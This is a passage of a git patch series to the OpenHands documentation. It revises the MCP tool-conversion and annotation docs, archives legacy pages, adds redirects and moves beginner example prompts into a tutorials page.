SDK format"] - - MCP --> Parse - Parse --> Model - Model --> Def - - style Parse fill:#f3e8ff,stroke:#7c3aed,stroke-width:2px - style Model fill:#e8f3ff,stroke:#2b6cb0,stroke-width:2px -``` +`MCPToolAction` is a wrapper with a `data` dictionary. Its fields do not change for +each discovered tool. `action_from_arguments()` validates the arguments, removes +null values and internal fields, and stores the sanitized result in `data`. +The definition validates `action.data` again before execution. -**Conversion Rules:** - -| MCP Schema | SDK Action Model | -|------------|------------------| -| **name** | Class name (camelCase) | -| **description** | Docstring | -| **inputSchema** | Pydantic fields | -| **required** | Field(required=True) | -| **type** | Python type hints | - -**Example:** +For a discovered `fetch_url` tool whose input schema accepts a string `url` and a +numeric `timeout`, argument conversion looks like this: ```python -# MCP Schema -{ - "name": "fetch_url", - "description": "Fetch content from URL", - "inputSchema": { - "type": "object", - "properties": { - "url": {"type": "string"}, - "timeout": {"type": "number"} - }, - "required": ["url"] - } -} +from openhands.sdk.mcp.tool import MCPToolDefinition + -# Generated Action Model -class FetchUrl(MCPToolAction): - """Fetch content from URL""" - url: str - timeout: float | None = None +def prepare_fetch(tool_definition: MCPToolDefinition): + action = tool_definition.action_from_arguments( + {"url": "https://example.com", "timeout": 10} + ) + # action.data holds the validated arguments. + # The executor forwards these arguments to the MCP server. + return action.to_mcp_arguments() ``` +See [`MCPToolDefinition`](https://github.com/OpenHands/software-agent-sdk/blob/main/openhands-sdk/openhands/sdk/mcp/tool.py) +for schema generation and argument validation. + ## Tool Execution ### Execution Flow @@ -267,9 +243,9 @@ flowchart TB 1. **Action Creation:** LLM generates tool call, parsed into `MCPToolAction` 2. **Executor Lookup:** Find `MCPToolExecutor` for tool name -3. **Format Conversion:** Convert action fields to MCP arguments +3. **Format Conversion:** Read the argument dictionary using `action.to_mcp_arguments()` 4. **MCP Call:** Execute `call_tool` via MCP client -5. **Result Parsing:** Parse MCP result (text, images, resources) +5. **Result Parsing:** Convert text and image blocks; log and skip unsupported blocks, including resources 6. **Observation Creation:** Wrap in `MCPToolObservation` 7. **Error Handling:** Catch exceptions, return error observations @@ -294,7 +270,7 @@ flowchart LR **Executor Responsibilities:** - **Client Management:** Hold reference to MCP client - **Tool Identification:** Know which MCP tool to call -- **Argument Conversion:** Transform action fields to MCP format +- **Argument Conversion:** Forward the action’s `data` dictionary as MCP arguments - **Result Handling:** Parse MCP responses - **Error Recovery:** Handle connection errors, timeouts, server failures @@ -352,41 +328,23 @@ flowchart TB ## MCP Annotations -MCP tools can include metadata hints for agents: - -```mermaid -%%{init: {"theme": "default", "flowchart": {"nodeSpacing": 30}} }%% -flowchart LR - Tool["MCP Tool"] - - subgraph Annotations - ReadOnly["readOnlyHint"] - Destructive["destructiveHint"] - Progress["progressEnabled"] - end - - Security["Security Analysis"] - - Tool --> ReadOnly - Tool --> Destructive - Tool --> Progress - - ReadOnly --> Security - Destructive --> Security - - style Destructive fill:#f3e8ff,stroke:#7c3aed,stroke-width:2px - style Security fill:#fff4df,stroke:#b7791f,stroke-width:2px -``` +MCP tool annotations are copied into the SDK's `ToolAnnotations` model: -**Annotation Types:** +| Annotation | Meaning | +|------------|---------| +| **title** | Human-readable tool title | +| **readOnlyHint** | Tool reports that it does not modify its environment | +| **destructiveHint** | Tool may perform destructive updates | +| **idempotentHint** | Repeated calls with the same arguments have no additional effect | +| **openWorldHint** | Tool may interact with external entities | -| Annotation | Meaning | Use Case | -|------------|---------|----------| -| **readOnlyHint** | Tool doesn't modify state | Lower security risk | -| **destructiveHint** | Tool modifies/deletes data | Require confirmation | -| **progressEnabled** | Tool reports progress | Show progress UI | +When `readOnlyHint` is true, the MCP schema adapter omits the additional +`security_risk` prediction field from the LLM-facing schema. These annotations +are hints, not enforcement guarantees. `destructiveHint` does not by itself +require confirmation: confirmation depends on the configured security analyzer +and confirmation policy. See [Security](/sdk/arch/security). -These annotations feed into the security analyzer for risk assessment. +The SDK's `ToolAnnotations` model does not define `progressEnabled`. ## Component Relationships @@ -415,7 +373,7 @@ flowchart LR - **Skills → MCP**: Repository skills can embed MCP configurations - **MCP → Tools**: MCP tools registered alongside native tools - **Agent → Tools**: Agents use MCP tools like any other tool -- **MCP → Security**: Annotations inform security risk assessment +- **MCP → Security**: Read-only hints affect risk-prediction schema generation; the configured policy governs confirmation - **Transparent Integration**: Agent doesn't distinguish MCP from native tools ## Design Rationale @@ -428,7 +386,7 @@ flowchart LR **FastMCP Foundation:** Building on FastMCP (MCP SDK for Python) provides battle-tested client implementation, protocol compliance, and ongoing updates as MCP evolves. -**Annotation Support:** Exposing MCP hints (readOnly, destructive) enables intelligent security analysis and user confirmation flows based on tool characteristics. +**Annotation Support:** MCP hints are preserved as tool metadata. Read-only hints affect risk-prediction schema generation, while confirmation is controlled by the configured policy. **Lifecycle Management:** Automatic spawn/cleanup of MCP servers in conversation lifecycle ensures resources are properly managed without manual bookkeeping. From b4aab1b83b03d46e3098011f819fb353a2add9f6 Mon Sep 17 00:00:00 2001 From: Engel Nyst Date: Sun, 4 Oct 2026 00:56:00 +0200 Subject: [PATCH 43/97] docs: consolidate obsolete pages and label retained legacy references (#817) --- docs.json | 26 +- openhands/usage/about.mdx | 30 -- openhands/usage/agents.mdx | 9 +- openhands/usage/developers/debugging.mdx | 73 --- .../usage/developers/development-overview.mdx | 71 --- .../usage/developers/evaluation-harness.mdx | 9 +- .../usage/developers/websocket-connection.mdx | 9 +- openhands/usage/environment-variables.mdx | 26 +- openhands/usage/get-started/tutorials.mdx | 40 ++ openhands/usage/llms/custom-llm-configs.mdx | 10 +- .../usage/tips/prompting-best-practices.mdx | 2 +- overview/faqs.mdx | 2 +- overview/first-projects.mdx | 130 ----- sdk/arch/llm.mdx | 2 +- sdk/arch/sdk.mdx | 465 ------------------ sdk/getting-started.mdx | 2 +- 16 files changed, 109 insertions(+), 797 deletions(-) delete mode 100644 openhands/usage/about.mdx delete mode 100644 openhands/usage/developers/debugging.mdx delete mode 100644 openhands/usage/developers/development-overview.mdx delete mode 100644 overview/first-projects.mdx delete mode 100644 sdk/arch/sdk.mdx diff --git a/docs.json b/docs.json index 615442a93..b4554cfe7 100644 --- a/docs.json +++ b/docs.json @@ -737,11 +737,11 @@ }, { "source": "/openhands/usage/how-to/debugging", - "destination": "/openhands/usage/developers/debugging" + "destination": "/openhands/usage/agent-canvas/development" }, { "source": "/openhands/usage/how-to/development-overview", - "destination": "/openhands/usage/developers/development-overview" + "destination": "/openhands/usage/agent-canvas/development" }, { "source": "/openhands/usage/how-to/evaluation-harness", @@ -805,7 +805,7 @@ }, { "source": "/openhands/usage/start-building", - "destination": "/overview/first-projects" + "destination": "/openhands/usage/get-started/tutorials" }, { "source": "/overview/key-features", @@ -926,6 +926,26 @@ { "source": "/enterprise/custom-sandbox-image#run-multiple-custom-images-with-warm-runtime-pools", "destination": "/enterprise/custom-sandbox-images/multiple-images-warm-pools" + }, + { + "source": "/openhands/usage/about", + "destination": "/overview/introduction" + }, + { + "source": "/openhands/usage/developers/debugging", + "destination": "/openhands/usage/agent-canvas/development" + }, + { + "source": "/openhands/usage/developers/development-overview", + "destination": "/openhands/usage/agent-canvas/development" + }, + { + "source": "/overview/first-projects", + "destination": "/openhands/usage/get-started/tutorials" + }, + { + "source": "/sdk/arch/sdk", + "destination": "/sdk/arch/overview" } ] } diff --git a/openhands/usage/about.mdx b/openhands/usage/about.mdx deleted file mode 100644 index edf3e1c75..000000000 --- a/openhands/usage/about.mdx +++ /dev/null @@ -1,30 +0,0 @@ ---- -title: About OpenHands ---- - -## Research Strategy - -Achieving full replication of production-grade applications with LLMs is a complex endeavor. Our strategy involves: - -- **Core Technical Research:** Focusing on foundational research to understand and improve the technical aspects of code generation and handling. -- **Task Planning:** Developing capabilities for bug detection, codebase management, and optimization. -- **Evaluation:** Establishing comprehensive evaluation metrics to better understand and improve our agents. - -## Default Agent - -Our default Agent is currently the [CodeActAgent](./agents), which is capable of generating code and handling files. - -## Built With - -OpenHands is built using a combination of powerful frameworks and libraries, providing a robust foundation for its -development. Here are the key technologies used in the project: - -![FastAPI](https://img.shields.io/badge/FastAPI-black?style=for-the-badge) ![uvicorn](https://img.shields.io/badge/uvicorn-black?style=for-the-badge) ![LiteLLM](https://img.shields.io/badge/LiteLLM-black?style=for-the-badge) ![Docker](https://img.shields.io/badge/Docker-black?style=for-the-badge) ![Ruff](https://img.shields.io/badge/Ruff-black?style=for-the-badge) ![MyPy](https://img.shields.io/badge/MyPy-black?style=for-the-badge) ![LlamaIndex](https://img.shields.io/badge/LlamaIndex-black?style=for-the-badge) ![React](https://img.shields.io/badge/React-black?style=for-the-badge) - -Please note that the selection of these technologies is in progress, and additional technologies may be added or -existing ones may be removed as the project evolves. We strive to adopt the most suitable and efficient tools to -enhance the capabilities of OpenHands. - -## License - -Distributed under MIT [License](https://github.com/OpenHands/OpenHands/blob/main/LICENSE). diff --git a/openhands/usage/agents.mdx b/openhands/usage/agents.mdx index f6ae2cd63..14febdf32 100644 --- a/openhands/usage/agents.mdx +++ b/openhands/usage/agents.mdx @@ -1,7 +1,14 @@ --- -title: Main Agent and Capabilities +title: Legacy CodeAct Agent +description: Archived documentation for the former OpenHands Python monorepo +noindex: true --- + +This page describes the historical CodeAct agent. For the current Software Agent SDK, see [Agent Architecture](/sdk/arch/agent). + + + ## CodeActAgent ### Description diff --git a/openhands/usage/developers/debugging.mdx b/openhands/usage/developers/debugging.mdx deleted file mode 100644 index b8a4ead3d..000000000 --- a/openhands/usage/developers/debugging.mdx +++ /dev/null @@ -1,73 +0,0 @@ ---- -title: Debugging ---- - -The following is intended as a primer on debugging OpenHands for Development purposes. - -## Server / VSCode - -The following `launch.json` will allow debugging the agent, controller and server elements, but not the sandbox (Which runs inside docker). It will ignore any changes inside the `workspace/` directory: - -``` -{ - "version": "0.2.0", - "configurations": [ - { - "name": "OpenHands CLI", - "type": "debugpy", - "request": "launch", - "module": "openhands.cli.main", - "justMyCode": false - }, - { - "name": "OpenHands WebApp", - "type": "debugpy", - "request": "launch", - "module": "uvicorn", - "args": [ - "openhands.server.listen:app", - "--reload", - "--reload-exclude", - "${workspaceFolder}/workspace", - "--port", - "3000" - ], - "justMyCode": false - } - ] -} -``` - -More specific debugging configurations which include more parameters may be specified: - -``` - ... - { - "name": "Debug CodeAct", - "type": "debugpy", - "request": "launch", - "module": "openhands.core.main", - "args": [ - "-t", - "Ask me what your task is.", - "-d", - "${workspaceFolder}/workspace", - "-c", - "CodeActAgent", - "-l", - "llm.o1", - "-n", - "prompts" - ], - "justMyCode": false - } - ... -``` - -Values in the snippet above can be updated such that: - - * *t*: the task - * *d*: the openhands workspace directory - * *c*: the agent - * *l*: the LLM config (pre-defined in config.toml) - * *n*: session name (e.g. eventstream name) diff --git a/openhands/usage/developers/development-overview.mdx b/openhands/usage/developers/development-overview.mdx deleted file mode 100644 index fb48ec774..000000000 --- a/openhands/usage/developers/development-overview.mdx +++ /dev/null @@ -1,71 +0,0 @@ ---- -title: Development Overview -description: This guide provides an overview of the key documentation resources available in the OpenHands repository. Whether you're looking to contribute, understand the architecture, or work on specific components, these resources will help you navigate the codebase effectively. ---- - -## Core Documentation - -### Project Fundamentals -- **Main Project Overview** (`/README.md`) - The primary entry point for understanding OpenHands, including features and basic setup instructions. - -- **Development Guide** (`/Development.md`) - Guide for developers working on OpenHands, including setup, requirements, and development workflows. - -- **Contributing Guidelines** (`/CONTRIBUTING.md`) - Essential information for contributors, covering code style, PR process, and contribution workflows. - -### Component Documentation - -#### Frontend -- **Frontend Application** (`/frontend/README.md`) - Complete guide for setting up and developing the React-based frontend application. - -#### Backend -- **Backend Implementation** (`/openhands/README.md`) - Detailed documentation of the Python backend implementation and architecture. - -- **Server Documentation** (`/openhands/server/README.md`) - Server implementation details, API documentation, and service architecture. - -- **Runtime Environment** (`/openhands/runtime/README.md`) - Documentation covering the runtime environment, execution model, and runtime configurations. - -#### Infrastructure -- **Container Documentation** (`/containers/README.md`) - Information about Docker containers, deployment strategies, and container management. - -### Testing and Evaluation -- **Unit Testing Guide** (`/tests/unit/README.md`) - Instructions for writing, running, and maintaining unit tests. - -- **Evaluation Framework** (`/evaluation/README.md`) - Documentation for the evaluation framework, benchmarks, and performance testing. - -### Advanced Features -- **Skills (formerly Microagents) Architecture** (`/skills/README.md`) - Detailed information about the skills architecture, implementation, and usage. - -### Documentation Standards -- **Documentation Style Guide** (`/docs/DOC_STYLE_GUIDE.md`) - Standards and guidelines for writing and maintaining project documentation. - -## Getting Started with Development - -If you're new to developing with OpenHands, we recommend following this sequence: - -1. Start with the main `README.md` to understand the project's purpose and features -2. Review the `CONTRIBUTING.md` guidelines if you plan to contribute -3. Follow the setup instructions in `Development.md` -4. Dive into specific component documentation based on your area of interest: - - Frontend developers should focus on `/frontend/README.md` - - Backend developers should start with `/openhands/README.md` - - Infrastructure work should begin with `/containers/README.md` - -## Documentation Updates - -When making changes to the codebase, please ensure that: -1. Relevant documentation is updated to reflect your changes -2. New features are documented in the appropriate README files -3. Any API changes are reflected in the server documentation -4. Documentation follows the style guide in `/docs/DOC_STYLE_GUIDE.md` diff --git a/openhands/usage/developers/evaluation-harness.mdx b/openhands/usage/developers/evaluation-harness.mdx index 2e227e425..e68233f94 100644 --- a/openhands/usage/developers/evaluation-harness.mdx +++ b/openhands/usage/developers/evaluation-harness.mdx @@ -1,7 +1,14 @@ --- -title: Evaluation Harness +title: Legacy Evaluation Harness +description: Archived documentation for the former OpenHands Python monorepo +noindex: true --- + +This page describes the former Python monorepo evaluation harness. For current SDK-based evaluations, use the [OpenHands benchmarks repository](https://github.com/OpenHands/benchmarks). Its setup and benchmark-specific runners replace the workflow below; there is no equivalent generic harness-authoring guide in this documentation yet. + + + This guide provides an overview of how to integrate your own evaluation benchmark into the OpenHands framework. ## Setup Environment and LLM Configuration diff --git a/openhands/usage/developers/websocket-connection.mdx b/openhands/usage/developers/websocket-connection.mdx index 38c877e6b..282d6f1db 100644 --- a/openhands/usage/developers/websocket-connection.mdx +++ b/openhands/usage/developers/websocket-connection.mdx @@ -1,7 +1,14 @@ --- -title: WebSocket Connection +title: Legacy WebSocket Connection +description: Archived documentation for the former OpenHands Python monorepo +noindex: true --- + +This page describes the former Socket.IO protocol. Agent Canvas uses a native WebSocket connection instead. See [Canvas Architecture](/openhands/usage/agent-canvas/architecture) and [SDK Events](/sdk/arch/events) for current architecture and event concepts. Those pages are not a replacement wire-protocol reference; do not use the Socket.IO examples below with Canvas. + + + This guide explains how to connect to the OpenHands WebSocket API to receive real-time events and send actions to the agent. ## Overview diff --git a/openhands/usage/environment-variables.mdx b/openhands/usage/environment-variables.mdx index 4b8f50a53..2d335115e 100644 --- a/openhands/usage/environment-variables.mdx +++ b/openhands/usage/environment-variables.mdx @@ -1,8 +1,14 @@ --- -title: Environment Variables Reference -description: Complete reference of all environment variables supported by OpenHands +title: Archived Environment Variables Reference +description: Archived documentation for the former OpenHands Python monorepo +noindex: true --- + +This reference was assembled for the former Python monorepo and is retained for older deployments. It is not a complete or verified reference for current Canvas or SDK releases. For current settings, see [Canvas Development](/openhands/usage/agent-canvas/development#docker-conversation-runtime-settings) and [Agent Server Architecture](/sdk/arch/agent-server). + + + This page provides a reference of environment variables that can be used to configure OpenHands. Environment variables provide an alternative to TOML configuration files and are particularly useful for containerized deployments, CI/CD pipelines, and cloud environments. ## Environment Variable Naming Convention @@ -152,20 +158,8 @@ These variables correspond to the `[security]` section in `config.toml`: ### Docker Conversation Runtime (Canvas) -When running Agent Canvas locally via the `dev-safe.mjs` launcher, Canvas can forward conversation-runtime settings to its bundled Agent Server. This enables `OH_CONVERSATION_RUNTIME=docker`, which runs each conversation in an isolated Docker container instead of the default local process runtime. - -Canvas forwards these settings only when the operator explicitly sets them. Unset values remain absent so Agent Server defaults stay authoritative. - -| Environment Variable | Type | Default | Description | -|---------------------|------|---------|-------------| -| `OH_CONVERSATION_RUNTIME` | string | unset | Conversation runtime type. Set to `docker` to run conversations in Docker containers. | -| `OH_CONVERSATION_IMAGE` | string | unset | Docker image to use for conversation containers. | -| `OH_CONVERSATION_CONTAINER_MEMORY` | string | unset | Memory limit for conversation containers (e.g., `2g`). | -| `OH_CONVERSATION_CONTAINER_CPUS` | string | unset | CPU limit for conversation containers. | -| `OH_CONVERSATION_CONTAINER_PIDS_LIMIT` | string | unset | PID limit for conversation containers. | -| `OH_CONVERSATION_CONTAINER_STARTUP_TIMEOUT` | string | unset | Startup timeout for conversation containers (seconds). | - -These variables are specific to Canvas's `dev-safe.mjs` launcher and are forwarded to the bundled Agent Server process. Docker provisioning and setting interpretation are handled by Agent Server. +The current `OH_CONVERSATION_*` settings are documented in +[Canvas Development](/openhands/usage/agent-canvas/development#docker-conversation-runtime-settings). ### Remote Runtime | Environment Variable | Type | Default | Description | diff --git a/openhands/usage/get-started/tutorials.mdx b/openhands/usage/get-started/tutorials.mdx index 8e14fd527..fc3c72c8c 100644 --- a/openhands/usage/get-started/tutorials.mdx +++ b/openhands/usage/get-started/tutorials.mdx @@ -5,6 +5,46 @@ description: Centralized hub for OpenHands tutorials and examples Welcome to the OpenHands tutorial library. These tutorials show you how to use OpenHands for common development tasks, from testing to feature development. Each tutorial includes example prompts, expected workflows, and tips for success. +## First Projects + +After [setting up OpenHands](/overview/quickstart), start with a small task and +iterate. These prompts work as starting points without relying on a particular +interface or repository integration. + +### Hello World + +> Write a bash script hello.sh that prints "hello world!" and run it. + +Then refine it: + +> Modify hello.sh so it accepts a name as the first argument and defaults to "world". Test both cases. + +### Build a Small App + +> Build a frontend-only TODO app in React. Store its state in localStorage. + +Once the basics work: + +> Allow adding an optional due date to each task. Add tests for creating and updating due dates. + +### Work in an Existing Repository + +Give the agent the repository context and a focused goal: + +> Add a GitHub Actions workflow that runs this repository's existing lint command. + +For a small refactor: + +> Split build_and_deploy_widgets in widget.php into build_widgets and deploy_widgets. Preserve the behavior and run the relevant tests. + +For a bug fix: + +> The hello function crashes on an empty string. Write a test that reproduces the bug, then fix the code so it passes. + +Review each change before expanding the task. Include file names, expected +behavior, and examples in your prompts. See [Prompting Best Practices](/openhands/usage/tips/prompting-best-practices) +for more guidance. + ## Categories Overview | Category | Best For | Complexity | diff --git a/openhands/usage/llms/custom-llm-configs.mdx b/openhands/usage/llms/custom-llm-configs.mdx index 297d36129..eea5f1ae7 100644 --- a/openhands/usage/llms/custom-llm-configs.mdx +++ b/openhands/usage/llms/custom-llm-configs.mdx @@ -1,8 +1,14 @@ --- -title: Custom LLM Configurations -description: OpenHands supports defining multiple named LLM configurations in your `config.toml` file. This feature allows you to use different LLM configurations for different purposes, such as using a cheaper model for tasks that don't require high-quality responses, or using different models with different parameters for specific agents. +title: Legacy Custom LLM Configurations +description: Archived documentation for the former OpenHands Python monorepo +noindex: true --- + +This page describes named TOML configurations in the former Python monorepo. For current configuration, see [Canvas LLM Profiles](/openhands/usage/agent-canvas/llm-profiles) or the [SDK LLM Profile Store](/sdk/guides/llm-profile-store). + + + ## How It Works Named LLM configurations are defined in the `config.toml` file using sections that start with `llm.`. For example: diff --git a/openhands/usage/tips/prompting-best-practices.mdx b/openhands/usage/tips/prompting-best-practices.mdx index f873bb321..5ce30905b 100644 --- a/openhands/usage/tips/prompting-best-practices.mdx +++ b/openhands/usage/tips/prompting-best-practices.mdx @@ -35,4 +35,4 @@ Good prompts are: The more precise and informative your prompt, the better OpenHands can assist you. -See [First Projects](/overview/first-projects) for more examples of helpful prompts. +See [First Projects](/openhands/usage/get-started/tutorials) for more examples of helpful prompts. diff --git a/overview/faqs.mdx b/overview/faqs.mdx index babc563c8..12514da54 100644 --- a/overview/faqs.mdx +++ b/overview/faqs.mdx @@ -12,7 +12,7 @@ description: Frequently asked questions about OpenHands. [Bitbucket](/openhands/usage/cloud/bitbucket-installation), and [Slack](/openhands/usage/cloud/slack-installation) integrations. 2. **Run on your own**: If you prefer to run it on your own hardware, follow our [Getting Started guide](/openhands/usage/run-openhands/local-setup). -3. **First steps**: Read over the [first projects guidelines](/overview/first-projects) and +3. **First steps**: Read over the [first projects guidelines](/openhands/usage/get-started/tutorials) and [prompting best practices](/openhands/usage/tips/prompting-best-practices) to learn the basics. ### Can I use OpenHands for production workloads? diff --git a/overview/first-projects.mdx b/overview/first-projects.mdx deleted file mode 100644 index 56d61075f..000000000 --- a/overview/first-projects.mdx +++ /dev/null @@ -1,130 +0,0 @@ ---- -title: First Projects -description: So you've [run OpenHands](/overview/quickstart). Now what? ---- - -Like any tool, it works best when you know how to use it effectively. Whether you're experimenting with a small -script or making changes in a large codebase, this guide will show how to apply OpenHands in different scenarios. - -Let’s walk through a natural progression of using OpenHands: -- Try a simple prompt. -- Build a project from scratch. -- Add features to existing code. -- Refactor code. -- Debug and fix bugs. - -## First Steps: Hello World - -Start with a small task to get familiar with how OpenHands responds to prompts. - -Click `New Conversation` and try prompting: -> Write a bash script hello.sh that prints "hello world!" - -OpenHands will generate script, set the correct permissions, and even run it for you. - -Now try making small changes: - -> Modify hello.sh so that it accepts a name as the first argument, but defaults to "world". - -You can experiment in any language. For example: - -> Convert hello.sh to a Ruby script, and run it. - - - Start small and iterate. This helps you understand how OpenHands interprets and responds to different prompts. - - -## Build Something from Scratch - -Agents excel at "greenfield" tasks, where they don’t need context about existing code. -Begin with a simple task and iterate from there. Be specific about what you want and the tech stack. - -Click `New Conversation` and give it a clear goal: - -> Build a frontend-only TODO app in React. All state should be stored in localStorage. - -Once the basics are working, build on it just like you would in a real project: - -> Allow adding an optional due date to each task. - -You can also ask OpenHands to help with version control: - -> Commit the changes and push them to a new branch called "feature/due-dates". - - - Break your goals into small, manageable tasks.. Keep pushing your changes often. This makes it easier to recover - if something goes off track. - - -## Expand Existing Code - -Want to add new functionality to an existing repo? OpenHands can do that too. - - -If you're running OpenHands on your own, first add a -[GitHub token](/openhands/usage/settings/integrations-settings#github-setup), -[GitLab token](/openhands/usage/settings/integrations-settings#gitlab-setup) or -[Bitbucket token](/openhands/usage/settings/integrations-settings#bitbucket-setup). - - -Choose your repository and branch via `Open Repository`, and press `Launch`. - -Examples of adding new functionality: - -> Add a GitHub action that lints the code in this repository. - -> Modify ./backend/api/routes.js to add a new route that returns a list of all tasks. - -> Add a new React component to the ./frontend/components directory to display a list of Widgets. -> It should use the existing Widget component. - - - OpenHands can explore the codebase, but giving it context upfront makes it faster and less expensive. - - -## Refactor Code - -OpenHands does great at refactoring code in small chunks. Rather than rearchitecting the entire codebase, it's more -effective in focused refactoring tasks. Start by launching a conversation with -your repo and branch. Then guide it: - -> Rename all the single-letter variables in ./app.go. - -> Split the `build_and_deploy_widgets` function into two functions, `build_widgets` and `deploy_widgets` in widget.php. - -> Break ./api/routes.js into separate files for each route. - - - Focus on small, meaningful improvements instead of full rewrites. - - -## Debug and Fix Bugs - -OpenHands can help debug and fix issues, but it’s most effective when you’ve narrowed things down. - -Give it a clear description of the problem and the file(s) involved: - -> The email field in the `/subscribe` endpoint is rejecting .io domains. Fix this. - -> The `search_widgets` function in ./app.py is doing a case-sensitive search. Make it case-insensitive. - -For bug fixing, test-driven development can be really useful. You can ask OpenHands to write a new test and iterate -until the bug is fixed: - -> The `hello` function crashes on the empty string. Write a test that reproduces this bug, then fix the code so it passes. - - - Be as specific as possible. Include expected behavior, file names, and examples to speed things up. - - -## Using OpenHands Effectively - -OpenHands can assist with nearly any coding task, but it takes some practice to get the best results. -Keep these tips in mind: -* Keep your tasks small. -* Be clear and specific. -* Provide relevant context. -* Commit and push frequently. - -See [Prompting Best Practices](/openhands/usage/tips/prompting-best-practices) for more tips on how to get the most -out of OpenHands. diff --git a/sdk/arch/llm.mdx b/sdk/arch/llm.mdx index 66feaf460..9e13d5121 100644 --- a/sdk/arch/llm.mdx +++ b/sdk/arch/llm.mdx @@ -300,7 +300,7 @@ verbatim to SDK applications because both layers wrap the same | Moonshot | [/openhands/usage/llms/moonshot](/openhands/usage/llms/moonshot) | | LiteLLM proxy | [/openhands/usage/llms/litellm-proxy](/openhands/usage/llms/litellm-proxy) | | Local LLMs (Ollama, SGLang, vLLM, LM Studio) | [/openhands/usage/llms/local-llms](/openhands/usage/llms/local-llms) | -| Custom LLM configurations | [/openhands/usage/llms/custom-llm-configs](/openhands/usage/llms/custom-llm-configs) | +| Saved SDK LLM profiles | [LLM Profile Store](/sdk/guides/llm-profile-store) | When you follow any of those guides while building with the SDK, create an `LLM` object using the documented parameters (for example, API keys, base URLs, diff --git a/sdk/arch/sdk.mdx b/sdk/arch/sdk.mdx deleted file mode 100644 index a237f36a8..000000000 --- a/sdk/arch/sdk.mdx +++ /dev/null @@ -1,465 +0,0 @@ ---- -title: SDK Package -description: Core framework components for building agents - the reasoning loop, state management, and extensibility system. ---- - -The SDK package (`openhands.sdk`) is the heart of the OpenHands Software Agent SDK. It provides the core framework for building agents locally or embedding them in applications. - -**Source**: [`sdk/`](https://github.com/OpenHands/software-agent-sdk/tree/main/openhands-sdk/openhands/sdk) - -## Purpose - -The SDK package handles: -- **Agent reasoning loop**: How agents process messages and make decisions -- **State management**: Conversation lifecycle and persistence -- **LLM integration**: Provider-agnostic language model access -- **Tool system**: Typed actions and observations -- **Workspace abstraction**: Where code executes -- **Extensibility**: Skills, condensers, MCP, security - -## Core Components - -```mermaid -graph TB - Conv[Conversation
Lifecycle Manager] --> Agent[Agent
Reasoning Loop] - - Agent --> LLM[LLM
Language Model] - Agent --> Tools[Tool System
Capabilities] - Agent --> Micro[Skills
Behavior Modules] - Agent --> Cond[Condenser
Memory Manager] - - Tools --> Workspace[Workspace
Execution] - - Conv --> Events[Events
Communication] - Tools --> MCP[MCP
External Tools] - Workspace --> Security[Security
Validation] - - style Conv fill:#e1f5fe - style Agent fill:#f3e5f5 - style LLM fill:#e8f5e8 - style Tools fill:#fff3e0 - style Workspace fill:#fce4ec -``` - -### 1. Conversation - State & Lifecycle - -**What it does**: Manages the entire conversation lifecycle and state. - -**Key responsibilities**: -- Maintains conversation state (immutable) -- Handles message flow between user and agent -- Manages turn-taking and async execution -- Persists and restores conversation state -- Emits events for monitoring - -**Design decisions**: -- **Immutable state**: Each operation returns a new Conversation instance -- **Serializable**: Can be saved to disk or database and restored -- **Async-first**: Built for streaming and concurrent execution - -**When to use directly**: When you need fine-grained control over conversation state, want to implement custom persistence, or need to pause/resume conversations. - -**Example use cases**: -- Saving conversation to database after each turn -- Implementing undo/redo functionality -- Building multi-session chatbots -- Time-travel debugging - -**Learn more**: -- Guide: [Conversation Persistence](/sdk/guides/convo-persistence) -- Guide: [Pause and Resume](/sdk/guides/convo-pause-and-resume) -- Source: [`conversation/`](https://github.com/OpenHands/software-agent-sdk/blob/main/openhands-sdk/openhands/sdk/conversation) - ---- - -### 2. Agent - The Reasoning Loop - -**What it does**: The core reasoning engine that processes messages and decides what to do. - -**Key responsibilities**: -- Receives messages and current state -- Consults LLM to reason about next action -- Validates and executes tool calls -- Processes observations and loops until completion -- Integrates with skills for specialized behavior - -**Design decisions**: -- **Stateless**: Agent doesn't hold state, operates on Conversation -- **Extensible**: Behavior can be modified via skills -- **Provider-agnostic**: Works with any LLM through unified interface - -**The reasoning loop**: -1. Receive message from Conversation -2. Add message to context -3. Consult LLM with full conversation history -4. If LLM returns tool call → validate and execute tool -5. If tool returns observation → add to context, go to step 3 -6. If LLM returns response → done, return to user - -**When to customize**: When you need specialized reasoning strategies, want to implement custom agent behaviors, or need to control the execution flow. - -**Example use cases**: -- Planning agents that break tasks into steps -- Code review agents with specific checks -- Agents with domain-specific reasoning patterns - -**Learn more**: -- Guide: [Custom Agents](/sdk/guides/agent-custom) -- Guide: [Agent Stuck Detector](/sdk/guides/agent-stuck-detector) -- Source: [`agent/`](https://github.com/OpenHands/software-agent-sdk/blob/main/openhands-sdk/openhands/sdk/agent) - ---- - -### 3. LLM - Language Model Integration - -**What it does**: Provides a provider-agnostic interface to language models. - -**Key responsibilities**: -- Abstracts different LLM providers (OpenAI, Anthropic, etc.) -- Handles message formatting and conversion -- Manages streaming responses -- Supports tool calling and reasoning modes -- Handles retries and error recovery - -**Design decisions**: -- **Provider-agnostic**: Same API works with any provider -- **Streaming-first**: Built for real-time responses -- **Type-safe**: Pydantic models for all messages -- **Extensible**: Easy to add new providers - -**Why provider-agnostic?** You can switch between OpenAI, Anthropic, local models, etc. without changing your agent code. This is crucial for: -- Cost optimization (switch to cheaper models) -- Testing with different models -- Avoiding vendor lock-in -- Supporting customer choice - -**When to customize**: When you need to add a new LLM provider, implement custom retries, or modify message formatting. - -**Example use cases**: -- Routing requests to different models based on complexity -- Implementing custom caching strategies -- Adding observability hooks - -**Learn more**: -- Guide: [LLM Registry](/sdk/guides/llm-registry) -- Guide: [LLM Routing](/sdk/guides/llm-routing) -- Guide: [Reasoning and Tool Use](/sdk/guides/llm-reasoning) -- Source: [`llm/`](https://github.com/OpenHands/software-agent-sdk/blob/main/openhands-sdk/openhands/sdk/llm) - ---- - -### 4. Tool System - Typed Capabilities - -**What it does**: Defines what agents can do through a typed action/observation pattern. - -**Key responsibilities**: -- Defines tool schemas (inputs and outputs) -- Validates actions before execution -- Executes tools and returns typed observations -- Generates JSON schemas for LLM tool calling -- Registers tools with the agent - -**Design decisions**: -- **Action/Observation pattern**: Tools are defined as type-safe input/output pairs -- **Schema generation**: Pydantic models auto-generate JSON schemas -- **Executor pattern**: Separation of tool definition and execution -- **Composable**: Tools can call other tools - -**The three components**: -1. **Action**: Input schema (what the tool accepts) -2. **Observation**: Output schema (what the tool returns) -3. **ToolExecutor**: Logic that transforms Action → Observation - -**Why this pattern?** -- Type safety catches errors early -- LLMs get accurate schemas for tool calling -- Tools are testable in isolation -- Easy to compose tools - -**When to customize**: When you need domain-specific capabilities not covered by built-in tools. - -**Example use cases**: -- Database query tools 